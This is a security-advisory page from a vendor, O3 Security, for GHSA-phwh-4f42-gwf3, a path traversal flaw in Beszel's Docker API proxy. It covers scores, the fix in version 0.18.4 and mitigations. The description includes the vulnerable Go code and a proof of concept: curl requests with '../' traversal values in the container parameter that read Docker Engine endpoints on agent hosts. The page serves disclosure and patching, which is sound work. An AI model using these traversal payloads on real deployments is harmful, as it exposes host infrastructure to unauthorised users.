How severe is GHSA-phwh-4f42-gwf3?

GHSA-phwh-4f42-gwf3 has a CVSS score of 6.5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-phwh-4f42-gwf3?

GHSA-phwh-4f42-gwf3 affects the following packages: github.com/henrygd/beszel (Go). Ecosystems affected: Go.

How do I fix GHSA-phwh-4f42-gwf3?

Update github.com/henrygd/beszel to 0.18.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-phwh-4f42-gwf3 is resolved across your whole dependency graph.

How do I detect GHSA-phwh-4f42-gwf3 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/henrygd/beszel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-phwh-4f42-gwf3 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-phwh-4f42-gwf3?

O3 pinpoints whether GHSA-phwh-4f42-gwf3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-phwh-4f42-gwf3 actively exploited in the wild?

No public exploit code has been indexed for GHSA-phwh-4f42-gwf3 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-phwh-4f42-gwf3?

GHSA-phwh-4f42-gwf3 has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 38th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-phwh-4f42-gwf3?

GHSA-phwh-4f42-gwf3 is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-phwh-4f42-gwf3 published, and has it been updated?

GHSA-phwh-4f42-gwf3 was published on February 27, 2026 and was last updated on March 23, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-phwh-4f42-gwf3

MEDIUM

Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID

Also known asCVE-2026-27734GO-2026-4571

Published

Feb 27, 2026

Updated

Mar 23, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk38th percentile+0.46%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹github.com/henrygd/beszel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.

Details

Hub (internal/hub/hub.go:407-426): containerID from query param is only checked for emptiness, no format validation:

containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID)  // passed directly to agent

Agent (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:

endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)

Go's http.Client preserves ../ in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.

PoC

Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).

# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
  -H "Content-Type: application/json" \
  -d '{"identity":"[email protected]","password":"password"}' | jq -r '.token')

SYSTEM="<system_id>"

# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
  -H "Authorization: Bearer $TOKEN"

All three requests returned real data from the Docker Engine API on the agent host.

Impact

Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.

Researcher

Sergio Cabrera https://www.linkedin.com/in/sergio-cabrera-878766239/

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/henrygd/beszel`	all versions	0.18.4

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/henrygd/beszel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/henrygd/beszel to 0.18.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-phwh-4f42-gwf3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-phwh-4f42-gwf3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-phwh-4f42-gwf3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. ### Details **Hub** (internal/hub/hub

O3 Security · Impact-Aware SCA

Is GHSA-phwh-4f42-gwf3 in your dependencies?

O3 detects GHSA-phwh-4f42-gwf3 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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